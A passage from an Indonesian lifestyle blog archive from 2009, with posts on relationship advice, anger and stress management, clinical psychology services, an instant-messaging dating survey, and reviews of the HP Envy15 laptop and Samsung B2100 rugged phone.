Ekspresikan penyesalan Anda, dan dengan sungguh-sungguh, katakan bahwa Anda dengan segenap hati akan melakukan segalanya untuk berfokus dan merajut kembali hubungan Anda. Lalu, lakukanlah!

Ambil tanggung jawab
Meski Anda yang bersalah dengan berselingkuh, namun jangan kemudian mau disalahkan setiap saat. Perselingkuhan bisa terjadi karena ada sesuatu hal yang salah di depannya. Kedua pihak harus bersedia untuk merasa sakit dan mengakui adanya kekurangan di dirinya atau pasangannya, dan tidak saling menyalahkan. Jika masalah utamanya tak juga diketahui dan diatasi, maka tak akan ada penyelesaiannya.

HP ENVY: Minimalis, Artistik, dan Superior secara Teknologi

2009-12-17T06:50:00.000-08:00

Di tengah kemajuan teknologi komunikasi informasi sekarang ini, ada berbagai terminologi yang mengiming-imingi konsumen. Ada laptop. Ada notebook. Ada netbook. Ada komputer. Atau semuanya adalah komputer, dan yang membedakan adalah fungsi, desain, dan harga.

Secara bersamaan, di sisi konsumen dan produsen komputer dengan berbagai terminologi, kita melihat ada aspek lain yang menjadi pertimbangan dan menggiurkan siapa saja yang melihatnya. Aspek ini mencakup sisi artistik dan sekaligus juga superior secara teknologi.

Ibarat mobil sejenis Lamborghini atau Ferrari dengan desain artistik dan mesin superior yang kemampuannya teruji lewat kecepatan, komputer dengan berbagai terminologi ini juga memiliki kesamaan dengan mobil mewah, desain yang futuristik, dan harga yang mengerutkan dahi.

Dalam industri komputer, banyak model komputer yang bermunculan mengikuti aspek ini. Apple Computer dengan iMac atau MacBook Pro adalah salah satu contohnya. Acer dengan seri Ferrari berwarna merah menyala dan rancang desain yang menggiurkan adalah contoh lainnya.

Minimalis

Hewlett-Packard (HP), produsen teknologi komputer terbesar di dunia, seperti tidak mau tertinggal setelah sekian lama tenggelam dalam mengejar pangsa pasar yang terus-menerus dipacu bersaing dengan berbagai merek global lain. Selama ini, HP ibarat mendorong kotak komputer kepada konsumen, tidak menghadirkan pembeda yang signifikan bagi konsumen kebanyakan.

Namun kali ini, ada yang berbeda. Ketika Kompas mencoba produk terbaru HP Envy15, notebook dengan monitor 15 inci (diagonal 38,1 cm) dan berat sekitar 2,5 kg tanpa catu daya listrik, ternyata perusahaan Amerika Serikat yang menghasilkan beragam jenis teknologi komputer ini mampu memberikan perbedaan signifikan yang mengikuti kemajuan teknologi komunikasi informasi.

Envy15 masuk dalam kategori desktop replacement dan menjadi notebook HP yang paling mahal selama ini. Rancangannya pun minimalis, mencerminkan nilai elegan, dan kekuatan teknologi yang ingin ditonjolkan melalui prosesor Intel Core i7 Q820 dengan kecepatan komputasi 1,73GHz, kapasitas memori 8 GB, sistem operasi Windows 7 Home Premium 64 bit, prosesor grafik ATI Radeon HD 4830, dan pengeras suara Beats yang menghadirkan sistem tata suara mewah untuk kategori notebook.

Semua spesifikasi HP Envy15 menunjukkan kualitas yang diunggulkan. Hal ini mencerminkan bahwa HP adalah produsen teknologi terbesar di dunia. Kita akan suka dengan rancangan minimalis dengan penutup monitor yang diukir menggunakan teknologi laser. Kita akan suka dengan rongga-rongga yang terkumpul dalam kesatuan menghadirkan USB, HDMI, dan LAN.

Kita pun akan suka dengan struktur papan ketik yang lebar, kendali mouse touchpad lebar yang futuristik, tombol on/off, serta lampu-lampu penanda tersembunyi di atas papan ketik. Nilai minimalis Envy15 pun ditunjukkan tanpa kehadiran berbagai stiker, seperti notebook yang selama ini ditawarkan di pasar, mulai dari Intel Inside, stiker spesifikasi, dan lainnya seolah tak percaya diri.

Envy15 adalah notebook sekelas MacBook Pro buatan Apple, tetapi lebih canggih dan mewah walaupun masih menempatkan pemutar cakram optik DVD sebagai koneksi tambahan di luar atau tidak terintegrasi menjadi satu. Kemasan magnesium alloy Envy15 mencerminkan kemewahan.

Secara kinerja, Envy15 jelas memiliki keunggulan yang tidak tertandingi berkat prosesor dan besaran memori yang dimilikinya. Notebook terbaru HP ini memiliki kinerja sangat cepat dibandingkan yang ada di pasar. Hanya ada satu kendala, yaitu mesin ini sangat panas.

7 Cara Mengatasi Kemarahan

2009-12-17T06:49:00.000-08:00

Sifat gampang marah ternyata bisa diubah, demikian pendapat para peneliti kesehatan mental. Pada salah satu penelitian berhasil ditemukan bahwa risiko serangan jantung bisa ditekan dengan mengurangi rasa marah. Bagaimana cara mengurangi keinginan untuk marah supaya tidak lekas jantungan?

1. Rajin berolahraga secara teratur dapat mengurangi stres dan memperbaiki suasana hati sehingga bisa mengatasi naik turunnya emosi. Yoga dan olahraga yang membuat rileks efektif untuk mengatasi sifat mudah marah.

2. Tanyakan kepada diri sendiri apakah dengan marah-marah akan bermanfaat juga buat orang-orang di sekitar Anda. Misalnya, tanyakan “Apakah saya dapat mengontrol situasi ini? Dapatkah saya mengubahnya menjadi lebih baik dengan marah-marah?”

3. Atasi ketegangan dengan mengambil beberapa napas dalam dan membuat otot-otot rileks. Bisa juga dengan mendengarkan musik lembut atau memvisualkan diri sendiri tengah berlibur di tempat favorit.

4. Periksa lagi bagaimana cara Anda berkomunikasi dengan orang lain. Banyak situasi yang menyulut kemarahan melibatkan orang lain. Saat diskusi menjadi panas dan membuat marah, hitung sampai 10 sebelum bicara. Ambil napas terlebih dahulu. Dengarkan lawan bicara secara seksama.

5. Coba sisipkan humor karena terbukti efektif meredakan kemarahan.

6. Cari alternatif, apakah Anda hanya marah-marah pada situasi tertentu? Selama beberapa minggu, buat catatan kapan dan di mana Anda biasa marah-marah. Kemudian lihat apakah ada kecenderungan tertentu yang memicu kemarahan.

7. Pertimbangkan konseling bila perlu. Ceritakan pada dokter soal kebiasaan Anda ini. Dokter itu akan merujukkan Anda pada orang yang ahli.

Wah... Instant Messaging buat Janjian Kencan!

2009-12-17T06:48:00.000-08:00

Berdasarkan survei yang diadakan Microsoft Windows Messenger, sebanyak 86,5 persen dari responden di Asia Tenggara mengatakan bahwa mereka akan memanfaatkan Instant Messenger untuk mengajak seseorang berkencan. Bahkan 6,8 persen mengatakan bahwa mereka akan melamar seseorang secara online.

Survei tersebut dilakukan terhadap 1.400 responden. Sebaliknya, ada 33,3 persen responden yang juga memutuskan hubungan lewat IM.

IM juga digunakan pada pendekatan dalam berhubungan (54,1 persen), berkomunikasi dengan pasangan (18,4 persen), dan mengabadikan momen intim mereka ke dalam film melalui webcam dan membaginya melalui IM (26,1 persen).

Yang menarik, ada 60,9 persen responden mengaku sering menggoda orang lain di luar pasangannya dengan cara online.

Namun, jangan berburuk sangka. Penggunaan untuk hal-hal yang positif juga ada, seperti membuat rencana (52 persen), menanyakan menu makan malam (42 persen), hingga bertukar dokumen.

Bukan Cuma Orang Ketiga yang Merusak Hubungan

2009-12-17T06:46:00.000-08:00

Pernahkah terpikir bahwa hubungan Anda dan pasangan yang memanas belakangan ini disebabkan oleh sabotase? Mungkin tidak. Banyak orang yang mengira hubungan hanya bisa dirusak oleh kehadiran orang ketiga. Padahal, sabotase hubungan tak melulu karena itu. Sikap Anda atau pasangan yang berpotensi merusak juga bisa jadi faktor penyebabnya.

Mengenali sikap yang berpotensi merusak sebuah hubungan ini memang bukan hal yang mudah. Justru kita lebih mudah mengenali sikap yang membahayakan hubungan daripada sikap yang hanya berpotensi. Anda memang mesti jeli melihat tanda-tanda itu.

Berharap terlalu tinggi
Apakah Anda mencintai pasangan apa adanya atau hanya mencintainya seperti yang Anda mau? Anda ingin pasangan begini atau begitu. Jika pilihan ini yang Anda jalani, jangan heran jika Anda akan selalu merasa kecewa, frustrasi, dan tidak puas dengan hubungan Anda.
Solusi: Mencari-cari kesalahan dengan terus berfokus pada ketidaksempurnaan dan kekurangan pasangan sudah pasti akan menyabotase hubungan. Carilah sumber masalah yang sebenarnya untuk diselesaikan. Daripada memfokuskan diri pada kekurangan pasangan, mengapa Anda tidak melihat diri sendiri dulu?

Forgive but never forget
Apakah Anda selalu memanfaatkan luka lama untuk melindungi hati? Memaafkan pasangan tapi tidak pernah melupakan kesalahannya? Selalu merasa menjadi korban dan berniat mengubah keadaan. Sebenarnya, ini sama saja Anda selalu membawa luka lama ke mana pun. Dan membiarkan luka itu terus terbuka hanya untuk mengingatkan bahwa luka itu pernah ada, dan akan selalu ada.
Solusi: Jika masih selalu terbayang-bayang pada luka lama, berarti Anda tidak bertumbuh dan berkembang dalam menjalani hubungan. Ini juga sama artinya Anda selalu menyakiti diri sendiri. Terimalah kenyataan bahwa pasangan akan berubah dan tak lagi menjadi orang yang sama saat pertama kali Anda mengenalnya. Bersikap dewasa menghadapi masalah-masalah yang Anda hadapi dan teruslah maju.

Cemburu berlebihan
Ini sebenarnya merupakan bentuk ketidakamanan (insecurity) Anda sendiri. Merasa tidak cukup cantik, menarik, ataupun seksi, untuk mendapatkan perhatian penuh dari pasangan. Nah, kalau begini, Anda memahami bahwa masalah sebenarnya ada pada Anda, dan bukan pada pasangan.
Solusi: Untuk masalah ini, Anda perlu memulihkan rasa percaya diri ke level Anda merasa bahagia dengan diri sendiri. Namun, jika rasa cemburu pada pasangan benar-benar masuk akal dan Anda tidak dapat mempercayai pasangan lagi, tinggalkan saja. Jangan terjebak dalam rasa tidak aman yang tidak pernah berakhir.

Menyeimbangkan skor
Kesal dengan kehadiran sahabat perempuan pasangan yang mulai menimbulkan hawa panas dalam hubungan, lalu Anda membalasnya dan menjalin hubungan dengan teman pria baru. Memang sih, membuat pasangan juga merasakan sakit hati bisa membuat Anda terpuaskan. Namun, sebenarnya cara ini bisa mengubah hubungan Anda menjadi ladang ranjau.
Solusi: Psst... mengalahkan (baca: menyakiti) orang yang kita sayangi tidak membuat kita menjadi pemenang. Apakah hubungan seperti ini yang Anda inginkan? Lebih penting mana, hubungan yang sehat, atau ego untuk merasa diri paling benar? Daripada saling bersaing dan "menjatuhkan", mengapa tidak introspeksi diri? Benarkan kesalahan ada pada pasangan? Jangan-jangan karena Anda kurang perhatian. Nah, coba pikirkan lagi.

Passive aggression
Maksudnya, menggunakan cara-cara seperti merajuk, marah dalam diam, dan mogok bicara untuk mengendalikan pasangan. Tahukah Anda, cara ini tak hanya menyakiti Anda dan pasangan, tapi juga hubungan Anda?
Solusi: Pada akhirnya, Anda mungkin bisa mendapatkan keinginan dengan sikap manipulatif tadi. Meski berhasil mengontrol pasangan, Anda tetap bukan pemenang. Belajarlah menyatakan keinginan dan kebutuhan lewat komunikasi yang efektif dan teknik yang sehat. Ini untuk persiapan Anda menghadapi konflik berikutnya.

Mengenal Layanan Psikologi Klinis

2009-12-17T06:44:00.000-08:00

Pada umumnya, masyarakat luas masih membutuhkan kejelasan dalam berbagai pelayanan psikologi klinis. Dalam artikel ini, saya mencoba merinci spesifikasi pelayanan psikologi klinis dan kaitannya dengan pelayanan medis.

Ada dua cabang ilmu dalam naungan Psikologi Klinis, yaitu Psikologi Kesehatan dan Psikologi Medis. Memang istilah ’kesehatan’ dan ’medis’ bukan saja terkait erat, namun sering menjadi dua istilah yang digunakan secara sinonimus (persamaan arti kata). Kecuali itu, sebagian besar masyarakat pada umumnya sering dihadapkan pada ketidakjelasan perbedaan pelayanan psikiater, psikolog klinis, psikolog kesehatan, dan psikolog medis, walaupun untuk itu kita harus juga menyimak tentang pelayanan kesehatan fisik dan penanganan medis pada umumnya. Untuk itu, marilah kita simak bersama uraian di bawah ini.

1. Perawatan kesehatan atau penanganan medis

Perawatan kesehatan atau penanganan medis bagi penderita gangguan fisik manusia menjadi wewenang utama para dokter. Pelayanan terhadap gangguan fisik bergradasi sesuai dengan berat ringannya gangguan fisik dan bagian dari organ tubuh mana yang terkena penyakit. Untuk itu, dapat dipahami bila berbagai jenis keahlian khusus dalam Ilmu Kedokteran sangat dibutuhkan keberadaannya, misalnya dokter spesialis internal, kandungan, kulit dan kelamin, dan lain-lain. Bahkan pasien sering juga membutuhkan bantuan dari dokter yang memiliki superspesialisasi dalam bidang fungsi organ tubuh tertentu.

2. Psikiater

Bila dokter atau dokter spesialis menangani aspek fisik pasien maka berbeda dengan psikiater. Psikiater adalah dokter yang memiliki latar belakang pendidikan ilmu kedokteran pula, namun kemudian mengikuti pendidikan spesialisasi dalam bidang psikiatri. Psikiater memberikan perawatan terhadap penderita gangguan mental yang kecuali membutuhkan perawatan medicamentus sekaligus juga membutuhkan psikoterapi. Kecuali itu, para psikiater pun memberikan pelayanan promotif dan preventif serta rehabilitatif dalam bidang psikiatri bagi masyarakat luas.

3. Psikolog Klinis

Psikolog Klinis adalah ahli yang latar belakang pendidikannya dari sejak jenjang pendidikan strata I adalah ilmu perilaku manusia, untuk kemudian mengikuti pendidikan Magister Psikologi Terapan dengan mayoring Psikologi Klinis. Pendekatan Holistik mengungkapkan bahwa seorang yang sakit fisik juga sekaligus sakit mental, karena hubungan resiprokal antara aspek fisik dan mental tidak dapat dipungkiri keberadaannya. Dengan demikian, di samping perawatan medis seorang pasien sering membutuhkan pendampingan Psikolog Klinis untuk membantu pemulihan kesehatan aspek mentalnya. Apalagi, ketegangan emosi seseorang yang mengalami kesulitan memecahkan masalah psikologis yang dihadapi sering memanifestasi dalam bentuk keluhan fisik.

Berlainan dengan psikiater yang landasan dasar keilmuannya adalah Ilmu Kedokteran, maka landasan keilmuan Psikolog Klinis adalah Ilmu tentang Perilaku Manusia (Psikologi). Jadi kalaupun seorang Psikolog Klinis bekerja di setting medis (rumah sakit), Psikolog Klinis tidak berhak bahkan dilarang keras memberikan pelayanan medicamentus, seperti misalnya menulis resep, menyarankan penggunaan obat-obatan, dan sebagainya. Andaikata pasien membutuhkan pelayanan psikologi klinis baik yang atas kehendak sendiri atau rujukan dari dokter/profesi lain, maka psikoterapi dilaksanakan dengan landasan dasar keilmuan psikologi pula.

Ada beberapa metode psikoterapi yang dapat dilakukan oleh Psikolog Klinis, misalnya psikoterapi/konseling psikologi individual, keluarga/kelompok, perkawinan, dan lain-lain. Tentu saja pilihan metode psikoterapinya sangat bergantung pada permasalahan psikologi yang dialami penderita/klien serta keahlian khusus yang dimiliki Psikolog Klinis tersebut. Luas dan banyaknya metode dalam psikoterapi memang akhirnya menuntut Psikolog Klinis untuk memilih metode psikoterapi mana yang dikuasai dan benar-benar didalami serta ditekuni secara khusus untuk pelayanan intervensi psikologi khusus bagi penderita/klien yang menghadapi permasalahan psikologis khusus pula. Kecuali di setting medis (rumah sakit), psikolog klinis pun dapat memberikan pelayanan di setting sekolah, kesehatan mental individu, kesehatan masyarakat, industri, dan lain-lain. Luasnya cakupan pelayanan Psikologi Klinis, mengembangkan spesifikasi pelayanan pada setting kesehatan dan medis.

Psikologi Kesehatan

Psikologi Kesehatan merupakan salah satu cabang Psikologi Klinis yang menekankan kinerjanya pada upaya membentuk perilaku sehat pada masyarakat, dengan mengacu pada falsafah dasar positif, yang bersifat preventif. Jadi manusia tidak dipandang sebagai korban penyakit, namun juga ikut bertanggung jawab terhadap kondisi sakitnya. Konkretnya, kinerja Psikolog Kesehatan adalah menyosialisasikan kebiasaan-kebiasaan hidup yang merugikan kesehatan, seperti merokok, minum alkohol, serta mengembangkan tingkah laku yang menunjang kesehatan, seperti mengomunikasikan pentingnya melakukan pemeriksaan kesehatan secara rutin.

Psikologi Medis

Psikologi Medis adalah salah satu cabang Psikologi Klinis yang secara khusus mengarahkan perhatiannya pada penerapan psikologi pada setting praktik medis, termasuk penanganan psikologis dari penderita penyakit (pasien), keluarga pasien bahkan dokter yang memberikan perawatan behavioral medicine (obat-obatan yang berpengaruh terhadap perubahan perilaku pasien) terutama bagi penderita penyakit kronis, seperti kanker, gagal jantung, gagal ginjal, dan lain-lain.

Kebutuhan pendampingan Psikolog Medis terhadap pasien-pasien tersebut di atas tidak dapat dipungkiri, mengingat kondisi kesehatan fisik yang rentan berlanjut oleh penyakit kronis dengan sendirinya akan berpengaruh terhadap kerentanan fungsi psikologisnya, sementara demi proses penyembuhan optimal penerimaan pasien akan penyakit, kerja sama pasien dalam pasien pengobatan, upaya mempertahankan kualitas hidup optimal pada pasien, perubahan gaya hidup pasien.

Mudah-mudahan dengan penjelasan tentang pelayanan psikologi yang terkait dengan bidang kesehatan manusia menjadi lebih dipahami.

Honey, Sori Ya, Aku Banyak Kerjaan....

2009-12-17T06:42:00.000-08:00

Anda sudah mengejar pendidikan setinggi-tingginya, berusaha keras agar jabatan tertinggi bisa didapat, namun suami meminta Anda berhenti bekerja karena menurutnya pekerjaan Anda mempengaruhi hubungan Anda di rumah.

Apakah mungkin bagi seseorang untuk mengorbankan sesuatu yang ia sangat sukai untuk menetap di rumah dan tidak melakukan apa pun? Bisakah Anda, seorang workaholic yang terbiasa dengan kehidupan dan jadwal padat, berhenti bekerja? Mampukah Anda merelakan semua kerja keras Anda untuk mengikuti permintaan suami yang ingin Anda menjadi full time mommy? Pasti sesak dan kesal.

Mungkinkah ada jeda untuk bisa membantu Anda untuk menggapai karier, namun tetap menjaga kehidupan rumah tangga?

Jawabnya, ya! Asalkan Anda dan dia memiliki kesepakatan. Kunci untuk menghadapi dilema ini bukan dengan membuat batasan pilihan antara karier dan hubungan, namun dengan mencari cara untuk menyeimbangkan keduanya. Banyak pasangan belum menemukan keseimbangan statis dalam kehidupan dinamis ini. Kadang kita menghabiskan waktu untuk memikirkan satu hal, padahal pada saat itulah justru diperlukan keseimbangan. Kita dituntut untuk membuat keseimbangan dan mengalihkan fokus.

Misalnya, ketika Anda memiliki proyek besar yang membutuhkan waktu kerja ekstra, katakan pada pasangan Anda. Lalu putuskan berapa lama Anda akan mengizinkan diri Anda bekerja lebih dari waktu biasanya. Dalam kesempatan lain, lakukan suatu hal yang romantis untuk si dia untuk menjaga keintiman. Hal ini bisa Anda lakukan hanya dengan meninggalkan catatan cinta di meja untuk si dia, atau menelepon si dia di tengah hari untuk mendengar suaranya. Berikut 5 tips untuk Anda mencoba menyeimbangkan pekerjaan dan hubungan Anda:

1. Perlakukan pasangan Anda sebagai rekanan
Bicaralah kepadanya. Upayakan agar ia memandang ke arah yang sama dengan Anda, dan beritahukan padanya bahwa Anda butuh fokus ekstra dalam pekerjaan. Jika Anda benar-benar peduli dengan perasaan pasangan Anda, maka Anda akan mengambil waktu secara rutin untuk memastikan bahwa Anda tidak menyia-nyiakan dirinya.

2. Bincang santai
Pilihlah satu hari khusus dalam seminggu untuk bangun lebih pagi dan sejenak menghabiskan waktu bersama. Mungkin dengan menikmati secangkir kopi atau teh bersama sebelum berangkat ke kantor. Ini adalah hal yang menyenangkan untuk dilakukan, karena Anda dan dia sama-sama memiliki waktu sedikit luang, tidak terburu-buru, sama-sama segar, dan bisa menghabiskan waktu berkualitas sejenak, sebelum Anda dan dia sama-sama dilanda deraan pekerjaan.

3. Mengatur perspektif
Ketika Anda sedang mengambil pekerjaan tertentu, cobalah hitung dengan skala 1 hingga 10, seberapa pentingnya pekerjaan yang sedang Anda lakukan ini dalam waktu 10 tahun mendatang? Lalu bandingkan, dengan skala 1 hingga 10, seberapa pentingnya hubungan ini untuk Anda dalam 10 tahun ke depan? Jujurlah terhadap diri Anda sendiri.

4. Kencan dengan suami
Buat jadwal satu malam dalam seminggu, untuk berkencan dengan suami (sekaligus partner) Anda. Tak harus di tempat yang sangat mahal atau eksklusif, yang penting sama-sama suka. Asal jangan biarkan acara kencan ini menjadi acara rutin. Tapi merupakan kesempatan untuk Anda dan dia mengingat masa-masa menyenangkan bersama dan menciptakan momen menyenangkan bersama.

5. Zona bebas-pekerjaan
Jika Anda harus mengerjakan pekerjaan dari rumah, seperti mengecek e-mail atau menjawab faksimili, siapkan waktu spesifik. Misalkan, tak ada lagi memikirkan pekerjaan usai waktu tertentu dalam sehari. Atau, Anda mendedikasikan akhir pekan hanya untuk Anda dan keluarga, tidak boleh membicarakan atau memikirkan pekerjaan sama sekali.

Jadi, ketika ditanya, mana yang lebih penting; cinta atau pekerjaan, hanya Anda yang bisa menjawab. Jawablah dari hati yang paling dalam.

Kenali Wujud Asli Stres

2009-12-17T06:40:00.000-08:00

Setiap orang pasti pernah merasakan stres, tapi tidak semua orang dapat menemukan solusi yang tepat. Itu mengapa, Lyle H. Miller, PhD., dan Alma Dell Smith, PhD., melalui bukunya The Stress Solution membantu kita untuk mendefinisikan stres dengan benar. Ketika kita mampu memetakan stres maka dengan mudah menemukan jalan keluarnya.

Semua orang memiliki sumber stres yang sama. Ini adalah pernyataan yang salah karena setiap orang memiliki ketahanan emosi yang berbeda ketika dihadapi dengan berbagai masalah atau sumber stres.

Stres akan selalu berdampak buruk bagi kita. Untuk memahami ini, kita bisa menggunakan analogi alunan musik. Jika alunan musiknya lembut, kita bisa jadi menganggapnya musik yang menenangkan. Tapi ketika kita diberi hentakan musik yang kencang, kita baru bisa mengatakan musik ini memekakan telinga. Hal serupa juga diterapkan pada stres.

Ketika level stres masih ringan maka kita bisa mengartikannya sebagai proses pematangan diri. Tapi begitu kita putus asa, maka penyebab stres akan kita sebut sebagai kehancuran. Tapi ibarat mendengarkan musik yang kita perlukan adalah manajemen emosi. Bagaimana membuat emosi kita bisa sejalan dengan logika untuk mengantarkan kita jalan keluar, karena setiap masalah pasti ada penyelesaiannya.

Sumber stres ada di mana-mana, jadi kita tidak bisa menghindarinya. Tidak sepenuhnya benar, karena jika kita mengetahui tujuan hidup kita maka kita tidak dengan mudah menyerah dengan masalah yang dihadapi.

Pilih cara paling populer atau yang banyak digunakan orang untuk keluar dari masalah. Menyelesaikan masalah tidak bisa menggunakan ilmu universalitas. Karena setiap manusia dilahirkan dengan keunikan masing-masing maka cara kita meresponi masalah yang ada pun akan berbeda. Maka yang perlu kita lakukan adalah mengenali diri sendiri untuk kemudian memahami bagaimana memetakan masalah sesuai kepekaan kita.

Stres akan disebut sebagai stres ketika kita menunjukkan gejala-gejala kelabilan emosi. Tidak selamanya benar, karena kadang kala kita melakukan pengingkaran ketika kita sedang dihadapkan pada satu masalah. Pengingkaran inilah yang kemudian menumpuk menjadi masalah psikologis yang sangat mungkin mengganggu kesehatan fisik kita.

Untuk itu, sekecil apapun masalah yang kita hadapi, jujurlah pada diri sendiri dan temukan jalan keluarnya dengan keberanian. Karena menghadapi masalah adalah hal yang wajar bagi setiap manusia.

Jika belum sampai pada level gangguan psikologis, tidak perlu kuatir. Tanpa kita sadari, stres ringan pun bisa memengaruhi kebugaran tubuh. Pertanda seperti sakit kepala atau asam lambung yang naik tiba-tiba, sering kali kita anggap sebagai penyakit biasa. Padahal tubuh akan bereaksi mana kala emosi kita tidak stabil. Untuk itu, jangan pernah anggap remeh bahasa tubuh kita.

Ciri-ciri Wanita Pilihan Pria

2009-12-17T06:39:00.002-08:00

Bukan hanya wanita yang “picky” (pemilih) dalam mencari pasangan hidupnya. Pria pun seperti itu. Mereka juga memiliki semacam “kriteria” atau kualitas yang menjadi “harga mati” baginya dalam diri seorang wanita yang ingin ia jadikan pasangan hidup. Catherine Cardinal, PhD, pengarang The Cure for the Common Life, menjelaskan beberapa di antaranya;

Pentingnya kesamaan selera humor
Apalah dunia tanpa tawa? Kita butuh tawa dan rasa bahagia. Terlepas dari besarnya cinta Anda kepada seseorang, tetapi jika hidup dengannya tanpa diwarnai dengan tawa dan meretas kebahagiaan bersama, apa nikmatnya? Menurut Dr Cardinal, memilih seseorang yang tidak kaku dan bisa tertawa lepas dan bebas, merupakan situasi yang sama-sama menguntungkan. Jika Anda dan dia memiliki selera humor yang sama, Anda bisa membayangkan bahwa hidup dengannya akan terasa lebih hidup dan menyenangkan. Dengan kata lain, saling mengerti cara pikir masing-masing.

Dari debat jadi dekat
Mengiyakan segala kemauan pasangan bukan hal yang sulit. Namun ketika Anda mengiyakan segala keputusan yang dibuatnya tanpa mengutarakan kemauan Anda, bisa-bisa membuat diri Anda tertekan. Apalagi ketika kemauannya bertolak belakang dengan kemauan Anda yang sebenarnya. Menunjukkan pendapat Anda sesekali kepada pasangan memberikan kesempatan untuk saling mengerti pola pikir satu sama lain. Berdebat sesekali mengenai cara pandang, tapi dengan cara yang sehat bisa membantu seseorang untuk tumbuh menjadi orang yang lebih baik. Jadi, jangan selalu menganggap bahwa perdebatan sebagai penanda hal buruk, tapi coba cari nilai positif dari situasi tersebut.

Menghargai ketertarikan yang bisa menciptakan keintiman
Setiap orang memiliki ketertarikan akan suatu hal. Jika seseorang tak memiliki minat, hidupnya akan terasa hambar. Begitu pula pasangan Anda. Ia pasti memiliki suatu hal yang menarik minatnya. Tak sedikit wanita yang ingin memiliki pasangannya sepenuhnya, sehingga ia ingin si pria selalu ada setiap waktu. Padahal, pria juga perlu waktu di luar kehidupan bersama.

Dalam keadaan seperti ini, perlu disadari oleh keduanya, bahwa yang terpenting adalah kualitas waktu yang dijalani bersama, bukan kuantitasnya. “Seseorang yang menghargai Anda, dan membuat waktu yang dimiliki, meski sedikit, menjadi waktu yang berkualitas, adalah orang yang dewasa. Selain itu juga tidak mengeluhkan ketika harus ada sedikit jeda jarak di antara Anda dan pasangan,” ungkap Dr Cardinal. Jadi, ketika pasangan Anda berkata bahwa ia mau bermain futsal bersama teman-temannya seminggu sekali, jangan terlalu egois dan melarangnya bermain. Ia pun butuh bersosialisasi.

Menerima segala kekurangan
Setiap orang memiliki kekurangan. Dalam menjalani hidupnya, akan ada hal-hal yang tak sepaham antara Anda dan pasangan. Tak terkecuali hal-hal kecil harian yang jika dilihat orang lain akan terkesan hanya masalah sepele, tapi bagi Anda merupakan hal yang besar. Ketika Anda bisa menerima hal-hal atau kebiasaan-kebiasaannya (tentu yang masih bisa ditolerir), si dia akan merasa diterima apa adanya dan tak harus menutupi dirinya. Bukan berarti wanita harus memendam keluhannya setiap kali ada hal-hal yang kurang berkenan tentang si pasangan. Menurut Cardinal, “Toleransi adalah hal yang vital dalam sebuah hubungan. Kita semua memiliki kebiasaan buruk, namun ketika ada toleransi, Anda akan lebih tenang menjalani hari bersama, sama-sama merasa aman dan nyaman.” Jangan lupa komunikasikan kebiasaan buruk si pasangan dengan kepala dingin. Selama masih bisa ditolerir, cobalah untuk menerimanya. Jika mulai mengganggu, bicarakan baik-baik.

Perawatan terjangkau
Wanita “high-maintenance”, yang harus selalu dimanjakan dengan hal-hal yang mahal dan diperhatikan setiap saat akan membuat pasangannya mundur perlahan. Cobalah pikirkan lagi, apakah makan di restoran mahal, kiriman bunga setiap bulan, atau diantar mobil mewah setiap hari akan benar-benar bermakna jika Anda sedang menghabiskan waktu bersama orang yang Anda cintai? Sebenarnya, pria akan bangga dan senang jika bisa mengajak Anda makan di restoran mahal, atau memberikan hal yang menyenangkan hati Anda. Tetapi, ketika hal-hal mahal tersebut harus ia lakukan terus-menerus, bahkan memaksanya untuk mencari uang dan menghamburkannya begitu saja, tentu tidak berguna juga, kan? Percayalah, pria akan lebih mencintai dan menghargai Anda ketika ia menyadari bahwa ia tak perlu mengubah siapa dirinya, dan bisa membahagiakan Anda dengan hal-hal yang sewajarnya.

Bagaimana menurut Anda?

Samsung B2100 Xtreme: Tahan Banting

2009-12-17T06:39:00.001-08:00

Kata si produsen, Samsung B2100 Xtreme bisa tahan sampai 30 menit di kedalaman 1 meter lagi. Nah, kesempatan ini Sinyal mau jajal seberapa ekstrem nih. Niatnya mau direndam dan dijatuhkan pada ketinggian kurang lebih 2 meter.. Lebih ekstrem lagi, kita taruh pada suhu yang abnormal yuk…

Desain
Dilongok dari bodinya yang berbalur warna merah hitam, kesan macho memang terlihat ketika memegang desain tambunnya. Kokoh memang. Enaknya lagi penuh gelombang, jadi memungkinkan untuk tidak terpeleset dalam cengkraman tangan.

Gaya bebas dan tipikal hape ala outdoor melekat dalam tekstur secara keseluruhan. Mulai dari bagian depan hingga belakang semuanya terbungkus rapat dan tanpa sela. Sepertinya sengaja, biar selalu kedap air dan tak kemasukan debu.

Sekarang kita sisir sama-sama, cover depan B2100 Xtreme tampil dengan display layar yang tak terlalu lebar bila tidak mau dikatakan sempit, cuma 1,77 inci dengan kerapatan piksel 120x160, serta hamparan keypad karet yang didesain untuk terlindung dari semua kotoran dan cairan. Tombolnya nyaman ketika dipencet, dan tak terlampau keras, begitupula navigasinya dan tombol eksekusi yang berada di tengahnya.

Pindah ke bagian pinggir hape, B2100 Xtreme mengesankan hape outdoor minimalis dan tak perlu banyak ornamen. Di tepi kiri hanya tombol pengaturan volume plus tombol menghidupkan dan mematikan lampu senter. Tepi kanan, port dual fungsi untuk headset dan charger sudah disiapkan. Sementara di belakang, hanya speaker dan lensa kamera 1,3MP yang disematkan. O ya, satu lagi lampu senter terletak di tepi atas hape.

Uji Xtreme
Nah, sekarang Kita sidik satu satu ketahanannya. Pertama, Sinyal langsung jajal dengan membantingnya pada ketinggian kurang lebih 2 meter. Hasilnya, ancur bro...hahaha...Nggak deng...semuanya fine-fine aja tuh, gak ada masalah berarti dan semua fitur masih bisa jalan normal dan tokcer. Bodinya pun tak tergores..Ujian pertama lolos nih dengan hasil yang memuaskan.

Kedua, Sinyal melakukan eksekusi dengan menggunakan air yang dituang ke dalam gelas kemudian mencelupkan B2100 Xtreme ke dalamnya. Hasilnya, hape tersebut masih sehat wal afiat dan bisa kembali beroperasi seperti sedia kala. Kalau dua sesi pengetesan sudah dilewati, tinggal uji yang paling ekstrem lagi bro...

Sinyal mencoba memasukkan hape B2100 ke dalam lemari pendingin alias kulkas di bagian freezer-nya. Selang waktu 5 menit, dengan titik beku standar membuat es batu ternyata B2100 bisa berjalan sebagaimana mestinya, tak ada yang tak berfungsi semua berjalan sesuai yang dikehendaki Sinyal. Widiiih, beneran tahan banting nih hape, mau tau kenapa? Karena B2100 memang sudah diuji ketahanannya dan memenuhi standar IP57, yakni sebuah sertifikasi ketahanan melalui ujicoba tertentu pada perangkat elektronik di sebuah laboratorium di Eropa.

